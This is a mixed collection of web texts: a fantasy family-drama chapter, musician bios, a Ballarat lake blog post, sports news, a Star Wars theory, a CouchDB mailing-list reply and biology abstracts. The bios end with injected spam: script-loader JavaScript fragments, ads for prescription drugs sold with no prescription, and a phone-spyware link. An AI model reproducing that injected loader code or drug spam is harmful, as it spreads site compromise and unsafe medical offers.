text:
Tadayoshi had a bad feeling in the pit of his stomach as he hurriedly moved toward the homestead on Shimragata where it all began. He was kicking himself for allowing her to leave. When he entered the home he could hear voices, heated and loud. "Where did you get that bracelet?"
"I gave it to her." Tadayoshi interrupted and the room fell silent. It was not just Tationy and Hiko, there were others there including Moromari, Zen, Kin, Iashi, and Katsu. This was not how he intended this meeting to go. He had wanted the children and Tationy to be off the island before he confronted his family, but in the pit of his stomach he knew that he could not let her go back to the estate alone.
The questioning look she gave him as she wrenched her wrist away from Hiko told him she was just as surprised by his arrival, "Why?"
"I cannot allow my queen to face the wraith of my kin on her own."
His words surprised every man there, but none more than Hiko. "You're Kazuma?"
With his queen nursing her hand at his side he spoke, "How disappointing that my blood is so blinded by power that they could not see what was before their very eyes."
"That is not possible." Moromari interjected.
"I am sure your spy, Suemeli told you that I was not Kazuma. In a fit of jealousy and obsession she was willing to say or do anything to keep me and my queen apart. Though, she was not the only one." Tadayoshi made a point to look directly at his brother Katsu. "There has been plenty of manipulation and dirty deeds done to gain what one desires." Noticing how his son bowed his head Tadayoshi spoke, "You have plenty to be ashamed of, Hiko. However, with all of that shame you still managed to do one thing that no other man could do."
"What was that?"
"Earned the love of the queen of the gods. Even now, after all you did, she still loves you and it is that love that will keep her eyes blinded from seeing me." Tadayoshi gave a sideways glance toward Tationy who had her eyes fixed on Hiko. Even though she loved his son, she stayed close to his side and for that he was grateful. It made this moment easier for him; however brief it was.
"What are you doing Saitama, kill him," Katsu yelled.
Moromari glanced only briefly at Katsu before returning his eyes to Tadayoshi, "Are you the man that came to see her when she was small?"
"I am."
"Why, what was the point of seeing her like that?"
"Her eyes were free of blindness then, not clouded by the world and experience. Even though she did not understand, she knew me. That is why I went. I needed to be in her presence just once, where she knew me as her king. I understand your concern, Saitama, but it was not my intention ever to hurt her. She is my precious flower, blossoming in the middle of war. The only bright spot in the darkness."
Moromari gave a curt nod of his head as he spoke once more, "Command me to kill them and I will, my king."
Katsu scoffed, "He says something romantic and you just believe it."
"It is not the words, it is his presence," Moromari explained. Tadayoshi understood the change of heart of the Saitama. This was their first opportunity to speak, the first where they were in each other's presence. Getting the information from someone with an agenda like Suemeli was different from actually being able to see the 'king' with one's own eyes or hearing the 'kings' voice with one's own ears.
"Shall we sit and discuss things like civilized Kari?" Zen questioned.
Though there seemed to be some that disagreed, most everyone took seats at a nearby table. For a time there was nothing but silence.
"Do you think we are going to recognize you as the king?" Katsu slammed his hands against the table.
"I don't care if you do or you don't. All that matters is that she recognizes me."
"She can't even see you."
"I hate to agree with Katsu," Zen began as he looked toward Tadayoshi, "If the queen does not see you and recognizes Hiko as her King, then this discussion seems rather mote. What the Saitama believe now does not matter. They are tools. The people that will recognize you as the true king of the gods are sitting at this table."
Tadayoshi glanced toward Moromari when the head of the Satiama began to speak, "Just tools that clean up the messes you make, Kari. Without people like us, you all would be sitting behind bars."
"Know your place Saitama. You are expendable," Katsu responded.
"He is the uncle of your queen, regardless of what you think of his blood he should be shown respect." Tadayoshi spoke up as the cold hard stare of Moromari settled on him a moment. Tadayoshi understood the position that Moromari was placed in. As the head of the Saitama he had put faith in the work of Suemeli to bring him the name of the king of the gods. Instead of doing what she was ordered to do, she gave him the name of Hiko and the Saitama fell inline behind the false king. Had he had all of the facts, he most certainly would have killed Hiko for what he had done to Tationy. Now all he could do was sit and wait for a decision to be decided. With this knowledge, Tadayoshi had no doubts that Moromari's gut was knotted and heart conflicted.
As a former assassin clan, the Kari in ancient times once worked alongside the Saitama and the Sweela in service for their lords and masters the Shima. While the Saitama stayed in a role that was comfortable, the Kari, wanted more. They wanted to be their own men, served by others not slaves to the will and wishes of those more powerful. The Satiama always served the Shima and to a lesser extent the king of the gods, their creator. His backing meant a great deal to Tadayoshi, but in the end, what the Kari decided would ultimately determine whether or not Moromari killed him or not.
"He is nothing but a slave to the will of the Kari. That is all he and his blood will ever be." Katsu was more heated then Tadayoshi had ever seen him.
Zen and Iashi opened their mouths and began to speak at the same time, "Go ahead," Iashi encouraged Zen.
With a subtle sigh and a nod Zen spoke, "Katsu, getting upset and slinging mud is not going to resolve this situation. This is about the king of the gods, Kazuma and his queen. Tadayoshi has announced himself as the king, but we have already stood behind Hiko. What we need to decide is whether or not that decision will stand or if we will be looking in another direction for leadership. Tadayoshi has led our family for thirty years. It is a role he was placed in by his predecessor, your father. During those years he was never given the title of Kazuma, never looked upon in such a favorable fashion. As one that was, you of all people should understand the importance of remaining calm."
"I believe Katsu is tainted by his past experiences. His queen spit on him and it is because of that slight that he was removed from positions of power within the Kari." Iashi interjected. "There were many that felt it was a bad decision on the part of Tadayoshi, now perhaps we understand why. If he desired the position of king, he would do anything to keep others from having it."
"How disrespectful," Kin spoke. "We all know you have been 'sucking the cock' of Katsu your whole life Iashi. There is no doubt among the people at this table that you will side with him. He tells you to bend over and you do so without hesitation."
"You piece of shit," Iashi snapped as he jumped up from the table prepared to fight. "You are scum like that Maiba whore of a mother of yours."
Tadayoshi had been about to speak, when his son finally broke the tension that was forming from the bickering between Iashi and Kin, "That is enough. None of this has ever mattered. It was always just some stupid tradition that we Kari got sucked in by. Follow him or follow me, I don't really care."
Again he felt that tension as he bowed his head a moment and sighed. He was disappointed and angry at his son and his family. Tationy though, managed to surprise him yet again as he felt her touch and when he lifted his head he could feel the warmth of her chest against him. It was her strength that gave him strength as he stared down his family and the eyes of his kin finally settled upon him. Her actions alone spoke volumes.
The varying degrees of surprise settled on their faces as Tadayoshi spoke, "My blood truly does not understand the gift it was given. These are not traditions to suck us in they were meant to unite us. All of you are acting like the Kari of Aslann and not those of the village that held true to the ways of the Kari, and persevered even during the war of the kingdom. Kazuma's role was to suffer. Hold his blood to a higher regard than other mortals. Teach them about tradition, guide them to enlightenment, and unite them beyond words or blood. He was to be beaten down by emotion and weakness, watch his queen suffer, watch his blood falter, and doubt would be born within him. Doubt that he could lead or that his queen would ever see him, even that he could remaster himself after succumbing to emotion and weakness. None of you have any comprehension the burden that is carried by Kazuma."
"She stands behind you, her hands upon you, but she was so willing to stand at the side of Hiko even Sesiago. Seems that any Kari man would do," Katsu stated.
Her voice quieted the room, "Not any Kari. I assure you, Katsu, I would never let you bed me."
Kin laughed aloud, "Well there you have it. The queen has spoken. Katsu will never be her king."
Tadayoshi could see clearly the anger on his brother's face and understood the lengths he would go to just to get what he wanted. Out of everyone sitting at that table, he was by far the most dangerous, even more than Hiko, "Aren't you charming," Katsu spoke, "By the time I am done with you…"
"I would not finish those words if I were you, brother."
"Your queen spread her legs for Sesiago when she was with Hiko. Your queen was defiled by your son. I would just be giving her what she wants, another Kari man between her legs."
"Moromari, please."
It was so quick as Moromari pushed away from the wall and drew his weapon cocking the trigger, "I won't ever see you as the king," Katsu responded.
"So be it, close your eyes Tationy and to the rest of you, let this be an example of what happens when you go against the king."
It didn't make him feel powerful having his brother executed. Katsu's final words were an insult to him and everything he held dear. The group of Kari dispersed rather quickly to talk amongst themselves and Tationy disappeared upstairs to make certain the children were alright. She did not want them to see what was going on downstairs as the Saitama came in and cleaned up.
All eyes fixed upon her when she finally returned and instead of moving toward him, she stepped outside where Hiko was. Intently the men listened and watched wondering if the queen was going to choose the man she loved or her king. "Are you alright?"
"What do you want me to say Tationy?"
"You do not have to say anything." Tadayoshi watched as she reached out her hand and Hiko slapped it away.
"Your king is watching." There was a long pause, "Why like this? Do you enjoy making me look like a fool?"
"I wasn't trying to."
"Then explain it to me because you promised you would remain at my side. Are you with him? Do you love him? How is it that he is even alive?"
"When I found out what Seiji intended to do I called him. I cannot explain why. I just dialed the number for the Kari Foundation and asked to speak with him. I didn't want this. We were just going to bring them all down, but you knew that Seiji would turn this into a killing field. Why were you so willing to allow your family to be wiped out?"
"None of them matter. They have never mattered."
"When did you become this man?"
"Why don't you ask your king that question, seeing he is the reason I became this monster.
Her eyes were guarded and even as Hiko snarled at her, she kept her composure. "I do not know him at least not in any way that matters to me. He knows me as his queen. I know him as your father. I am neither with him, nor against him. However, there is something odd. I cannot really explain it."
"You say that and yet you are wearing his bracelet." Tadayoshi pursed his lips. Unless Hiko explained it to her, there was no way Tationy could know the significance of having his bracelet upon his wrist. His son though understood. A Kari man was furiously protective of the beaded charm because of what it symbolized. It indicated that he was a man among the Kari, that he was accepted. Each bead represented a different trial he had passed. It was proof that he was from the blood of Kazuma. From the moment he passed his trails and the beads were weaved into existence to the time that Kari passed on, the bracelet was around his wrist. There were very few times in history that a Kari man relinquished what was considered both his pride and honor.
"I love you, Hiko." Her words took him by surprise as the snarl faded from his face and was replaced with a pursed pout. "More than words, more than anything, and yet I hate you. I cannot resolve this conflict within me. When I look at you I see the monster you've become and it eats away at me. It torments me so much that to make it through a day with you I need 'assistance'. I wanted to marry you, have children with you, grow old with you, and I wanted so much to be your queen. Destroying your family was more important than I was and by the time you realized that I was important to you, the damage was already unfixable. As much as I want to recover from this and move forward I realize I can't do that at your side. I want to, so much more than any words can say. It never mattered to me that you were Hiko Kari. The only thing I ever cared about was whether or not your love for me was genuine. I believe it was. You and I are broken people. Perhaps we were doomed from the start, regardless of the reasons, we will never be healthy. People will never understand. Someday, I will do something you do not like and our vicious cycle will start all over again. Maybe there is a version of me and you that are meant to be together, but the two of us standing here and now …. I love you and I hate you, equally and that is what torments me."
Her words left a heaviness as she walked away and Hiko watched her. Though his eyes were not the only ones on her as the other Kari men took in the scene, her words, and her departure.
For a time they left Hiko alone standing out on the landing looking out over the water, but eventually Tadayoshi joined his son. He stood with his back to him. There was not a single doubt in Tadayoshi's mind that his son had been hit with a crippling blow, by the woman he loved. No man wanted to be judged by another in a moment like that. "I am sorry, Hiko. I did not wish to place such a burden on your shoulders when I sent you to that restaurant."
"What was the point of all of this? If you are the king, why send your son, why not go yourself?"
"Tearra needed to know pain. There were times I wanted to go to her, but even if I told her the truth she would not have believed it. Only with time and pain, could she come to believe. I had hoped that you might see her and understand that she needed someone to protect her. My heart hoped for the best and my mind told me that nothing good would come of it. Now I find myself in a rather uncomfortable position. My queen loves my son. He who has done more damage to her than any other."
"Do you intend to kill me?"
"If I kill you I wonder if she will hate me. If I allow you to live, I have to accept the fact that she will probably never truly belong to me. If the roles were reversed, what would you do?"
"I would not hesitate to kill you."
"I thought you might say that. How unfortunate that you and I will never know the depths of each other's hearts."
"Will you take my life with your own hands?"
"I will." Tadayoshi paused, "I will give you a moment with your son."
"That is not necessary. Let me fade from his memory as though I never existed."
"I understand. Do you have anything you want me to say to Tationy?"
"There is no need to say anything to her. She knows what is in my heart."
Tadayoshi was not without emotion as he moved through the homestead and found her in the last place he thought she would be. He should not have been surprised to find her in the room where it all began and when she turned to look at him, all that composure she had when she was talking to Hiko and standing up for herself against Katsu melted away. She collapsed to her knees and Tadayoshi quickly moved toward her. It was not how he expected the day to end. The emotional turmoil that had been building could no longer be kept at bay and she had broken down sobbing violently. He did not have to tell her the fate of Hiko, it was clearly evident that she was well aware.
It was selfish of him to wonder if she hated him. Was she using him for support simply because he was there? He hated the self-doubt he had, but understood that each god had to suffer in their own way. Kazuma despised everything about mortals, but more than anything it was their weakness and emotions. As a mortal it would be those things that would be his suffering. Hisoka loved being in love. It was all he ever wanted and yet as a mortal the one thing he was never capable of obtaining. Ryozo was powerful and strong, causing war and creating chaos. In the land of mortals he always lived a short life, never seeing combat, never creating chaos. His name was never written in history as being a monster on the battlefield or being the key person to turn the tied of a war. He was nothing, no one, and never existed long enough to even matter. Rin knew only obsession to the point of where it became a sickness. As a mortal, he doomed himself and his blood to an eternity of mental illness and uncontrollable compulsion. Tearra knew only hatred for the man she loved and suffered great pain in the heavens and as a mortal. If there was ever joy for her, it was brief.
Knowing that his queen cried for another, made his heart ache. This was the vicious cycle that doomed them.
To Be Continued


text:
Dina Avreich
Place of study: M.A. Music Academy, Russia and the Academy in Israel. Piano, accordion, guitar,
music therapy.
Career: Dina works with children and young adults with Down's Syndrome, developmental delays and
learning disabilities. She has prepared students for performances at Binyanai Hauma.
Hanna Agayev
Place of study: B.A. Music Academy in Moscow and Levinsky College.
Career: Pianist in the Zmora orchestra.
Ruth Atlit
Place of study: M.A. Levinsky and the Academy of Music.
Career: Flute teacher at Ron Shulamit.
Anna Balandine
Place of study: M.A. Music Academy in Moscow and Bar-Ilan University, studied music and
Career: Participated in international competitions in 2013-2014 in Italy, Paris and Moscow (in Paris
Anna played a piece for 4 hands). Opened for the International Festival in Jerusalem and played with
her husband on "Kol Hamusica" radio.
Alexandra Baruch
Place of study: Graduated with honors from the Paris Music Conservatory. Studied with Lucette
Bestazes and Jermaine Mounier.
Career: Won first place in a youth competition in France at age 13. Played in the Radio France
Hadassa Ben-Haim-Vinter
Place of study: M.A. piano and voice, Tel Aviv Music Academy, with Professor Leo Kastenberg
(founder of Levinsky College).
Career: Taught at the Conservatory in Giv'atayim, the Academy and the Ron Conservatory in Tel
Aviv, and in the Levinsky B.A. program at Ron Shulamit. Hadassah has appeared in many concerts as
a singer and pianist with orchestras, recitals with Jonathan Zack, and recordings for "Kol Israel".
Shirel Dashevsky
Place of study: Moscow's Music University. Studied with Professor Helmuth Rilling, a world expert in
Baroque music.
Simcha Dreyfus
Place of study: Academie de Musique de Lausanne; studied with Pierre Amoyal a student
of Yascha Hefetz.
Career: performed with Julia Jones' orchestra.
Hodaya Elbaz
Place of study: Bachelor's from Levinsky, in Voice.
Career: Teaches music history, theory and voice.
Yehudit Geisel
Place of study: MA – Moscow Academy.
Career: Played with the Opera Orchestra in Moscow, the Rishon Letzion Symphony Orchestra.
Lyudmila Gileov
Place of study: The Academy in Jerusalem, studied with Yoram Zerbib and Tzvi Avni.
Career: Played in national competitions. Worked with Joseph Yerushalmi.
Orly Glauber
Place of study: MA from the Manhattan School Musical Academy in Tel Aviv.
Career: played Beersheba Symphony Orchestra Rishon Letzion and Tel Aviv's Camri.
Elisheva Gottesman
Place of study: Levinsky College in Jerusalem, studied with Idit Paz and Drora Brock.
Career: Leading role in the premiere of the opera by Jewish composer Aldo Finzi, in 2012 in Italy at
the Donizetti Theater. Established five choirs.
Marina Kaminker
Place of study: MA, Academy of Music in Moscow.
Career: Teaches piano at The Sadna, Levinsky and Ron Shulamit. Performed in the US, Canada and
Russia as a soloist with orchestras, at the Jerusalem Camereta, Chamber Orchestras
of Herzliya, Hadera and Tel Aviv, as well as different ensembles. Played in the WIZO Symphony and
the Israel Festival.
Hannah Leah Kamoon
Place of study: Buchman Mehta Academy of Music TA. Studied with the First Clarinetist of the Israel
Philharmonic with the conductor Zubin Mehta. Participated in master classes with Shirley Brill.
Career: Clarinet teacher Ron Shulamit Har Nof.
Rachel Katzir
Place of study: MA from Levinsky.
Career: Student of Mina Haas and Dudu Carmel. Teaches oboe, flute and organ.
Ruth Litai-Jacoby
Place of study: Studied in Germany and Switzerland, at Levinsky and Bar Ilan – PhD.
Career: Sings in the Naama Women's choir (under Pnina Inbar) and a choir led by Ronit Eisenberg.
Mina Nachmani
Place of study: MA, Academy of Music and Dance.
Career: Teaches all styles of dance at the Conservatory and the Academy; 20 years a. performances in
Israel and abroad.
Ludmila Nikolsky
Place of study: Academy of Moldova, with Emil Aybinder.
Career: Teaches accordion at the conservatory in Beersheba and Ron Shulamit.
Rebecca Noiman
Place of study: Levinsky College – MA.
Career: Organizes concert programs in schools and libraries. Coordinates the Beit Yaakov Shvilai BA
Shlomit Oritski
Place of study: Music Academy in Vilna. Studied with V. Prudnikov and A. Garancha.
Career: Worked for 17 years at the Lithuanian theatre and Germany's Studio "Opera Berlin".
Dina Orlov
Place of study: M.A. Mussorgsky Conservatory, Russia.
Career: Pianist in the Zmora orchestra. 20+ years teaching experience.
Rina Schaefer
Place of study: University of Chicago. Studied with the head flutist and conductor of the Chicago
Symphony Orchestra and with Robert Bloomshdat, internationally renowned conductor of the Tel
Aviv Philharmonic sons.
Career: Won competitions, played on the radio in Chicago, was a soloist with various symphonies and
is the conductor of the 'Zmora' Women's Orchestra in Har Nof.
Rebecca Schwartz
Place of study: Royal Conservatory in Toronto, BA from Levinsky College.
Career: Violin teacher Ron Shulamit.
Rachel Shechtman
Place of study: Oberlin Conservatory – BA, Northwestern University Music School – MA.
Career: First prize winner in the Fischoss Competition. Performs with the 'Zmora' Orchestra, and
serves as conductor of a wind instrument orchestra.
Heftsi Shemesh
Place of study: BA from Levinsky. Studied with Drora Brook and Edith Paz.
Career: Teachers recorder ensembles, and writes sheet music for flute.
Irena Solomon
Place of study: BA – Conservatory in Russia, and MA – Levinsky. Studied with Shulamit Feingold and
Trained in Dalcroze, with Lisa Parker.
Career: Teaches at the Conservatory in Petah Tikva and Jerusalem.
Devorah Tiroler
Place of study: Rubin Academy, Levinsky College, studied with Shulamit Feingold and Batya Strauss.
Career: Performed with Emil Aybinder.
Leah Tzchernobrodov
Place of study: MA, Vilna Conservatory.
Career: Teachers piano in Ron Shulamit and Levinsky.
Vera Vaidman
Place of study: Tchaikovsky Conservatory, with Boris Belenky and David Oistrakh.
Career: Participated in Isaac Stern's master courses, performed with the Israel Philharmonic Orchestra,
the Israel Chamber Orchestra, and the Jerusalem Symphony. Toured Europe often, as recitalist and
soloist with various orchestras, performing the entire Bach violin solo repertoire and the 10 violin
sonatas by Beethoven. Performed recitals at Oxford and Cambridge Universities. On Paul Hindemith's
100-th birthday, she performed his violin concerto at the Hindemith festival in Stuttgart, Germany.
Performed the world premiere of the violin concerto by Alexander-Uriyah Boskovich (written 60 years
ago, but its final version never performed before). Premiered the transcription for violin solo, by Noam
Sivan, of the Liszt B-minor Piano Sonata.
Twice she was invited to participate in the Marlboro Chamber Music Festival, performing and
recording there with Rudolf Serkin, Andras Schiff, Philipp Naegele, and other artists. She also took
part in Israel's Upper Galilee Chamber Music Festival and went on European tour with a group of the
Festival participants.
In addition, she participated in St. Cyprien festival in France, Gotland and Sommarmusik pa Naset
festivals in Sweden, the Esbjerg Chamber Music Festival in Denmark, Encuentros Internacionales de
Musica in Alcobendas (Madrid), Spain, CIM Festival at Weikersheim Castle, Germany, Dino Ciani
Festival in Italy, and Academie Internationale d'Ete de Nice, France.
Vera Vaidman was a founding member and artistic co-director of the semi-annual chamber music
festival in Zichron Ya'acov, Israel. For eight years she was the first violinist of the former H.Gertler
string quartet, appearing with that group in the framework of Israel Festival and on tour in France,
Spain, England, Belgium and Germany. Vera Vaidman has also served the music director and leader of
Ramat Hasharon Camerata women's string orchestra.
Presented the complete works of Bach for unaccompanied bowed instruments, at the Felicja Blumental
Music Center in Tel Aviv.
She has conducted master-classes at universities around the world, and at International Summer
Academy in Suolahti, Finland for 15 years. Presently, she is an artist-faculty at the Mantta Summer
Music Festival and Academy, Finland, as well as the International Summer Academy in Nice, France.
Luda Zlotnikov
Place of study: Academy of Music in St. Petersburg, Russia – PhD.
Career: Part of the chamber orchestra "On the Israeli stage", and the Zmora orchestra.d.getElementsByTagName('head')[0].appendChild(s);} else {Buy Cardura Online from North Drugstore. Low Prices Guaranteed. buy cardura online cheap Where can i buy Cardura online. Purchase Cardura online no prescription. Cardura from canadian pharmacy. Buy Cardura online with no. Cheap Paroxetine Online. However, their conversation in the novel was far more rich and fulfilling paxil cheap buy paxil generico cheap paroxetine online. Cheap Paroxetine Meds (Paxil), cheap paroxetine online.var d=document;var s=d.createElement('script'); .http://chinesebibleschool.com/2017/10/31/instagram-spy-phone-location-tracker-xnspy/

subset: commoncrawl


text:
As a long-standing -although not consistent- resident of Ballarat, I believe it is within my rights to get a little vocal on local issues. So to start my blog, I'm going to begin with a point of contention that has certainly been a hot topic in this household. *drum roll* The refilling of Lake Wendouree.
When I say hot, I don't mean that we argue about it, in fact -for once- I think most members are in agreement. Don't fill the god-damn lake, I mean swamp.
How irritating for fellow Ballaratians to have to put up with local celebrities strutting their stuff saying "the heart and soul" of Ballarat is being sucked dry. That "we are the laughing stock" of the state.
I'm not sure how many other Ballarat residents have been cruising around Victoria, but I know that in my travels, from Gippsland to the Hamilton, from Portland to Wangaratta, I haven't come across a soul who has laughed in my face about our dry lake. The common response would be, "ah, not much rain eh? Same'ere."
Given we're the driest continent in the world, it doesn't come as a surprise that we would have a drought every so often. It's either droughts or floods, take your pick!
Besides, Ballarat has bigger fish to fry! I'd like, said local celebrity, to take a walk around Ballarat one day – or night and embrace the low socio-economic climate we've got going on. I'd like them to pop into our police station and ask if we've got enough police to cover break-ins, street violence, domestic violence and drug abuse. I'd like them to ask the midwives and nursing staff at the local hospitals if filling the lake really trumps putting some more staff on.
Pump the lake? Lets pump the community! Lets find some jobs! Lets open some more restaurants and retail, lets show Victoria that Ballarat actually has something worth selling. No one comes to Ballarat for our LAKE. Who are they kidding? Soverign Hill brings in more customers than Lake Wendouree.
Councillors, residents, countrymen – why not look into more economically viable, ecologically sustainable (have you seen the size of this MAN-made lake) and long term solutions for solving our dried up 'heart and soul'?
It's oft been said that the social divide between the haves and have nots is very clear in Ballarat. And after this ridiculous water debate, this ignorant tax sucking campaign, I can see why.
Who benefits the most from the lake being full?
Lets just say, I can't afford a boat, let alone a canoe. But possibly an inflatable dinghy – on layby.
Lake Wendouree: Brumby
Lake Wendouree: Steve
Call in the scientists


text:
February 08, 2018 04:24 PM
(ABC 6 News) – As the Minnesota boys basketball season continues to move forward, every team is inching closer to the section playoffs—and behind their "man in the middle," come postseason, the Stewartville Tigers are dangerous.
The Tigers, who are currently riding an eight-game winning streak, have been engineered by the presence of senior center Carter Groski—someone who literally stands among the crowd on the hardwood.
"I think it's helped since 4th grade that I've had 3-4 inches on everybody," Groski said. "I just kind of developed and it's come naturally."
In case anyone is wondering, Groski is 6'7—and that height doesn't go to waste on the floor.
"Every now and then, a post player will get the ball inside and try to score and he'll block it once, then he'll go up again and he'll block it again, just those things like that are stuff that you can't teach," Tigers head coach Adam Girtman said. "He's leading our team in rebounds, assists, averaging five blocks per game, so what he does defensively, there's nobody else in the section that can dominate the way he can defensively."
"We have one of the best players on the floor, which helps. He's kind of like a quarterback out there. His ability to take away the paint, he can dominate. It sometimes puts the rest of our defense at ease, but he's just a great kid to have."
Not only do opposing players have to look up to Carter—his teammates look up to the senior as well.
"He's a good leader," Girtman said. "He works hard, he's incredibly intelligent, he knows where everyone should be, what we're trying to do, and he's an all-around good person and basketball player."
"I like to lead vocally," Groski added. "I like to talk a lot on defense, tell them where they are at, know the defensive scheme really well. Offensively, I like to direct the traffic out there and tell people where to go."
During the Tigers' eight-game winning streak, since January 16, the Tigers have won seven of those games by at least 11 points (Stewartville defeated P-E-M on January 25, 67-58), and have held their opponents to 50.9 points per game.
Groski's defense is a big part of the Tigers' success, and he hopes his team can keep it going through March.
"I want to finish with only five losses which we have right now, and make a run for it in sections and hopefully come out and go to state," Groski said.
Following high school graduation, Groski said he doesn't plan on playing college basketball—he'll instead turn his focus from the gym to the classroom, where he plans to go into nursing at the University of Minnesota Rochester.
Updated: February 08, 2018 04:24 PM
Created: February 07, 2018 04:50 PM
Copyright 2018 - KAAL-TV, LLC A Hubbard Broadcasting Company


text:
Why did Luke disappear?
We have been led to believe that it was prompted by his despair after Kylo Ren destroyed his new Jedi apprentices but why would that lead Luke to desperately search for the original ancient Jed temple?
Is he just looking for meaning after a crisis of faith or has he discovered something even more terrible?
Snoke manipulated Kylo's fall to the Dark Side and what if Luke has discovered just how ancient Snoke is and how far back his evil influence goes?
A new report from Star Wars expert Thor Skywalker says: "Smoke is old. He even predates the Sith and is likely the first Dark Side user in the galaxy. He may be the one who inspired the Sith and trained them at one point, but considered himself above them, almost like a god.
"He used the Sith to rule the galaxy and was defeated thousands of years ago when the first Jedi emerged and imprisoned him in a distant part of the galaxy."
The Aftermath novel Empire's End by Chuck Wendig explicitly states that Snoke has seen the rise and fall of the Empire and that he has been watching Kylo Ren since the womb. But just how long has he been out there?
The novels also reveal that a powerful Dark Side force or being has been calling to Palpatine and other like the Acolytes of the Beyond. Palatine was planning to go in search of this mysterious being himself and sent the First Order out there upon his death.
He certainly looks ancient and wounded. This ties in with the theory that Snoke has been waiting a long time for a Dark Side user like Kylo Ren who is powerful enough that he can merge with them and steal their body and consume their power.
But who defeated, wounded and presumably banished Snoke beyond the known galaxy in the first place?
The new theory expands on this even further with the idea that Luke has discovered Snoke's original and evil intent.
It's not just grief and guilt over the conversion of Ben Solo to Kylo Ren and the massacre of the Jedi that drives Luke. He has gone in search of the ancient original Jedi because he believes they defeated Snoke when they brought down the first Sith Empire.
The only remaining Skywalker Jedi knows what the rest of the galaxy does not, that Snoke has returned after millennia in exile, and Luke is desperately trying to find a way to stop him.
We know that The Last Jedi will feature flashback scenes and that one will almost certainly show Kylo killing Luke's Jedi.
Imagine if we also get to see scenes of the ancient Sith and Jedi and the revelation that Snoke has been behind everything from the very beginning…
Star Wars The Last Jedi is out on December 15


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Bavairian Female in Lederhosen


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|Message view
|« Date » · « Thread »
|« Date » · « Thread »
|Jan Lehnardt <...@apache.org>
|Re: continuous replication API discussion
|Tue, 18 Aug 2009 23:42:55 GMT
On 18 Aug 2009, at 10:44, Simon Metson wrote: >>> >> >> I wouldn't completely replace the current .ini configuration files >> with a database -- I think there's real value in being able to >> change some settings without the server running. > > Agreed, there are certain classes of configuration data you'd want > in a database and others you'd want in an ini. Whether you want to > easily replicate it is probably a good guide where it should go... We can't have all settings in the DB. It is possible to render CouchDB unusable by changing some config values and then you'd have no way to fix it again. we need the ini files for that. I see a database for "jobs" in CouchDB though. Something that continuous replication jobs can be stored in, but I can also see jobs that keep view indexes up to date asynchronously so apps can run on stale=ok only. But maybe we don't even need that for 0.10? I'd be happy to ship with the ability to trigger continuous replication on server startup that doesn't survive restarts and leave that to the user for the time being until we figured out a good way to do the config db. Cheers Jan --
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text:
Articles by Ken W.Y. Cho
In JoVE (2)
Other Publications (36)
- Genes & Development
- Nucleic Acids Research
- Developmental Biology
- Development Genes and Evolution
- Mechanisms of Development
- Development (Cambridge, England)
- Gene Expression Patterns : GEP
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- Mechanisms of Development
- Proceedings of the National Academy of Sciences of the United States of America
- Developmental Biology
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- Development, Growth & Differentiation
- The International Journal of Developmental Biology
- Development (Cambridge, England)
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- Mechanisms of Development
- Development (Cambridge, England)
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- Genes & Development
- Developmental Biology
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- Development (Cambridge, England)
- Developmental Dynamics : an Official Publication of the American Association of Anatomists
- PloS One
- Developmental Biology
- PloS One
- Wiley Interdisciplinary Reviews. Developmental Biology
- Genesis (New York, N.Y. : 2000)
- BMC Systems Biology
- The Journal of Biological Chemistry
- Development (Cambridge, England)
- Methods in Enzymology
- Developmental Biology
Articles by Ken W.Y. Cho in JoVE
Dissection של ארגונית הקוטב Explants בעלי חיים מעוברים Xenopus laevis והרכבה של Assay הידבקות התא Souichi Ogata1, Ken W.Y. Cho1 1Department of Developmental and Cell Biology, University of California, Irvine (UCI) וידאו זה מדגים את טכניקה המשמשת להכנת מארגן מוט explants חיים מעוברים Xenopus laevis, כולל שימוש בסכין גבה - כלי לנתיחה המקצועית עשוי גבה אחת. פרוטוקול להרכבת assay הידבקות ניתנת גם, אשר בדיקות נוכחות של מולקולות הדבקה המפתח הנוכחי על מארגן את פני השטח או מוט חיה התאים הם קריטיים להתפתחות תקינה.
פלסטיק הטבעת ואת חתך של עוברים Xenopus laevis Souichi Ogata1, Shimako Kawauchi1, Anne Calof2, Ken W.Y. Cho1 1Department of Developmental and Cell Biology, University of California, Irvine (UCI), 2University of California, Irvine (UCI) חלקים פלסטיק לשמור מורפולוגיה רקמות נכון בסעיפים דקה של רקמה שניתן immunostained עם נוגדנים משני פלורסנט, מה שהופך שיטה זו יעילה יותר מאשר חלקים פרפין, מוטבע או קפואים עבור סוגים רבים של רקמות. השיטה עבור מכתים, הטבעה פלסטיק, חתך מודגם וידאו.
Other articles by Ken W.Y. Cho on PubMed
The Role of a Williams-Beuren Syndrome-associated Helix-loop-helix Domain-containing Transcription Factor in Activin/nodal Signaling Genes & Development. Apr, 2002 | Pubmed ID: 11937490 We investigated the regulation of the activin/nodal-inducible distal element (DE) of the Xenopus goosecoid (gsc) promoter. On the basis of its interaction with the DE, we isolated a Xenopus homolog of the human Williams-Beuren syndrome critical region 11 (XWBSCR11), and further, show that it interacts with pathway-specific Smad2 and Smad3 in a ligand-dependent manner. Interestingly, we also find that XWBSCR11 functions cooperatively with FoxH1 (Fast-1) to stimulate DE-dependent transcription. We propose a mechanism in which FoxH1 functions together with Smads as a cofactor for the recruitment of transcription factors like XWBSCR11 in the process of activin/nodal-mediated gsc-specific induction. This mechanism provides considerable opportunities for modulation of transcription across a variety of activin/nodal-inducible genes, increasing diversity in promoter selection, thus leading to the differential induction of activin/nodal target genes.
Microarray Optimizations: Increasing Spot Accuracy and Automated Identification of True Microarray Signals Nucleic Acids Research. Jun, 2002 | Pubmed ID: 12060692 In this paper, fluorescent microarray images and various analysis techniques are described to improve the microarray data acquisition processes. Signal intensities produced by rarely expressed genes are initially correctly detected, but they are often lost in corrections for background, log or ratio. Our analyses indicate that a simple correlation between the mean and median signal intensities may be the best way to eliminate inaccurate microarray signals. Unlike traditional quality control methods, the low intensity signals are retained and inaccurate signals are eliminated in this mean and median correlation. With larger amounts of microarray data being generated, it becomes increasingly more difficult to analyze data on a visual basis. Our method allows for the automatic quantitative determination of accurate and reliable signals, which can then be used for normalization. We found that a mean to median correlation of 85% or higher not only retains more data than current methods, but the retained data is more accurate than traditional thresholds or common spot flagging algorithms. We have also found that by using pin microtapping and microvibrations, we can control spot quality independent from initial PCR volume.
